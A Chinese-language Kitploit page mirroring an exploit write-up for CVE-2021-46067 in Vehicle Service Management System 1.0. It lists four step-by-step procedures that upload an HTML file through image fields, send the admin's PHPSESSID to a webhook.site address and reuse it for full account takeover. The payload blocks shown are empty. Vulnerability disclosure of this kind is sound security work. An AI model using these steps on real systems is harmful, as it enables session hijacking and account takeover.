Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具，武装您的安全武器库！

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新，查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-46067 — CVE-2021-46067 - 在Vehicle Service Management System 1.0中，攻击者可以窃取cookie，导致完全账户接管。 | Kitploit
工具/GitHubGitHub/sanupl/cve-2021-46067
钓鱼工具漏洞利用冒充工具Web应用程序漏洞利用社会工程学身份验证
GitHubsanupl/cve-2021-46067

CVE-2021-46067

CVE-2021-46067 - 在Vehicle Service Management System 1.0中，攻击者可以窃取cookie，导致完全账户接管。

查看仓库
163个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-46067

Exploit 标题：车辆服务管理系统 - 多个 Cookie 窃取导致完全账户接管

Exploit 作者：SANU P.L

CVE：CVE-2021-46067

CVSS：9.8 严重

参考资料：

  • https://www.plsanu.com/vehicle-service-management-system-multiple-cookie-stealing-leads-to-full-account-takeover
  • https://nvd.nist.gov/vuln/detail/CVE-2021-46067
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46067

描述：

在 Vehicle Service Management System 1.0 中，攻击者可以窃取 Cookie，从而导致完全账户接管。

1. 车辆服务管理系统 - '我的账户' (/admin/?page=user)

利用步骤：

  1. 登录管理面板 http://localhost/vehicle_service/admin
  2. 导航至我的账户部分 http://localhost/vehicle_service/admin/?page=user
  3. 生成 Webhook 地址 - https://webhook.site
  4. 复制 Webhook 唯一 URL 并粘贴到以下 HTML 代码中。

Payload：

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>

</body>
</html>
  1. 将上述 HTML 代码保存，例如：Cookie Stealing.html
  2. 在我的账户部分，填写所有必要信息，并在头像（Avatar）中浏览该 HTML 文件。
  3. 点击更新按钮。
  4. 在新标签页中打开头像图片，并检查 Webhook 状态。
  5. 我们收到了请求，其中包含 PHPSESSID。
  6. 复制 PHPSESSID 值，并打开另一个浏览器。
  7. 访问管理面板 http://localhost/vehicle_service/admin
  8. 检查 Cookie 值，并将 PHPSESSID 值更改为复制的 PHPSESSID 值。
  9. 现在访问管理面板 http://localhost/vehicle_service/admin
  10. 成功登录账户。账户接管成功。

2. 车辆服务管理系统 - '用户列表' (/admin/?page=user/manage_user)

利用步骤：

  1. 登录管理面板 http://localhost/vehicle_service/admin
  2. 导航至用户列表部分，并点击创建新用户按钮。
  3. 生成 Webhook 地址 - https://webhook.site
  4. 复制 Webhook 唯一 URL 并粘贴到以下 HTML 代码中。

Payload：

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>

</body>
</html>
  1. 将上述 HTML 代码保存，例如：Cookie Stealing.html
  2. 在创建新用户部分，填写所有必要信息，并在头像（Avatar）中浏览该 HTML 文件。
  3. 点击保存按钮。
  4. 在新标签页中打开头像图片，并检查 Webhook 状态。
  5. 我们收到了请求，其中包含 PHPSESSID。
  6. 复制 PHPSESSID 值，并打开另一个浏览器。
  7. 访问管理面板 http://localhost/vehicle_service/admin
  8. 检查 Cookie 值，并将 PHPSESSID 值更改为复制的 PHPSESSID 值。
  9. 现在访问管理面板 http://localhost/vehicle_service/admin
  10. 成功登录账户。账户接管成功。

3. 车辆服务管理系统 - '设置 - 系统Logo' (/admin/?page=system_info)

利用步骤：

  1. 登录管理面板 http://localhost/vehicle_service/admin
  2. 导航至设置部分 http://localhost/vehicle_service/admin/?page=system_info
  3. 生成 Webhook 地址 - https://webhook.site
  4. 复制 Webhook 唯一 URL 并粘贴到以下 HTML 代码中。

Payload：

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>

</body>
</html>
  1. 将上述 HTML 代码保存，例如：Cookie Stealing.html
  2. 在设置部分，填写所有必要信息，并在系统Logo（System Logo）中浏览该 HTML 文件。
  3. 点击更新按钮。
  4. 在新标签页中打开系统Logo图片，并检查 Webhook 状态。
  5. 我们收到了请求，其中包含 PHPSESSID。
  6. 复制 PHPSESSID 值，并打开另一个浏览器。
  7. 访问管理面板 http://localhost/vehicle_service/admin
  8. 检查 Cookie 值，并将 PHPSESSID 值更改为复制的 PHPSESSID 值。
  9. 现在访问管理面板 http://localhost/vehicle_service/admin
  10. 成功登录账户。账户接管成功。

4. 车辆服务管理系统 - '设置 - 网站封面' (/admin/?page=system_info)

利用步骤：

  1. 登录管理面板 http://localhost/vehicle_service/admin
  2. 导航至设置部分 http://localhost/vehicle_service/admin/?page=system_info
  3. 生成 Webhook 地址 - https://webhook.site
  4. 复制 Webhook 唯一 URL 并粘贴到以下 HTML 代码中。

Payload：

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>

</body>
</html>
  1. 将上述 HTML 代码保存，例如：Cookie Stealing.html
  2. 在设置部分，填写所有必要信息，并在网站封面（Website Cover）中浏览该 HTML 文件。
  3. 点击更新按钮。
  4. 在新标签页中打开网站封面图片，并检查 Webhook 状态。
  5. 我们收到了请求，其中包含 PHPSESSID。
  6. 复制 PHPSESSID 值，并打开另一个浏览器。
  7. 访问管理面板 http://localhost/vehicle_service/admin
  8. 检查 Cookie 值，并将 PHPSESSID 值更改为复制的 PHPSESSID 值。
  9. 现在访问管理面板 http://localhost/vehicle_service/admin
  10. 成功登录账户。账户接管成功。

影响：

攻击者上传恶意 HTML 文件，该文件重定向到第三方网站，Cookie 在请求中暴露。这导致完全账户接管。

缓解措施：

建议验证文件上传功能，并在会话中执行二次检查。

下载工具